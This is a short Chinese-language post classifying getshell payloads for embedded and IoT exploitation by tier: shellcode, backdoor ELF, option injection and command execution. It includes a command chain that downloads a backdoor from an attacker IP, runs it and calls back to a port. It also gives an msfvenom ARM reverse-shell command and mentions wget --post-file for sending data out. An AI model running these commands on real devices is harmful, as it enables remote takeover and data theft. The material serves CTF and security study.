Getshell的背后就是代码执行,执行的是shell程序,并且此进程的输入输出可控。不过由于漏洞位置不同,输入点不同,达到Getshell目标的攻击载荷也不同。可以按照攻击载荷的量级来对payload进行分类,个人分为如下四类:shellcode,ELF,param,command。
shellcode | ELF | param | command | |
---|---|---|---|---|
格式 | binary | binary | 字符串 | 字符串 |
底座 | 内存破坏 | 可控ELF执行 | 某命令参数可控 | shell命令可控 |
进程 | 漏洞进程 | 被执行的新进程 | 漏洞进程/其启动的新进程 | shell启动的新进程 |
并且量级的payload间是存在包含关系,因为到最后是一定要建立远程连接和执行shell程序的:
在嵌入式攻防的情景中,命令执行的payload常是下载我们构造的后门ELF程序,然后执行,所以我们的payload其实包含了两部分:ELF, command。如下我们先要自己编译出这个rsc后门,然后命令执行:
cmd = "cd /tmp &&"
cmd += "wget http://192.168.1.100:8000/rsc &&"
cmd += "chmod 777 ./rsc &&"
cmd += "./rsc 192.168.1.100 8888"
最后如果不同意本文的量级划分,也可以参考msfvenom中的类型来划分payload:
➜ msfvenom --list formats
内存破坏: shellcode
总结shellcode一般有如下五种办法获得:
- pwntools: asm(shellcraft.arm.linux.sh(),arch=’arm’)
- msfvenom: msfvenom -p linux/armle/shell/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f py -o msf.py
- shell-storm: http://shell-storm.org/shellcode/
- exploit-db: https://www.exploit-db.com/shellcodes
- 自己编译:StarCTF 2021 RISC-V Pwn Favourite Architecture: shellcode编写练习
其中pwntools和自己编译两种方法是的确要进行本地编译的,不过这里的交叉编译工具就只要符合该指令集即可,没有C库的限制,因为一般来说不需要libc。
后门程序: ELF
具体参考:IoT安全研究视角的交叉编译:ELF
如果要产出一个ELF的话,一般来说是有以下3种方法:
- 自己编译:需要对应架构的完整的交叉编译工具链
- pwntools:需要对应架构的binutils
- msfvenom:不需要交叉编译工具,shellcode是现成的
选项注入: param
即无法逃逸出某个命令本体,只能任意构造该命令的选项参数加以利用,在CTF的Web中可能更常见。例如:使用wget的
--post-file
参数带出数据、使用find的-exec
参数命令执行等。
linux中各种命令可以利用的选项总结:https://gtfobins.github.io/ ,其他示例:
命令执行: command
python、php等脚本程序执行算在这里,在Web情景中也可以称作代码注入。不过将此种情景算作选项注入也有道理,可看做解释程序固定,解释内容可控,内容就是解释程序的选项参数。如果可以任意的选择我用什么东西解释,python还是php等,这就得算命令执行了。怎么说都有理,理解即可。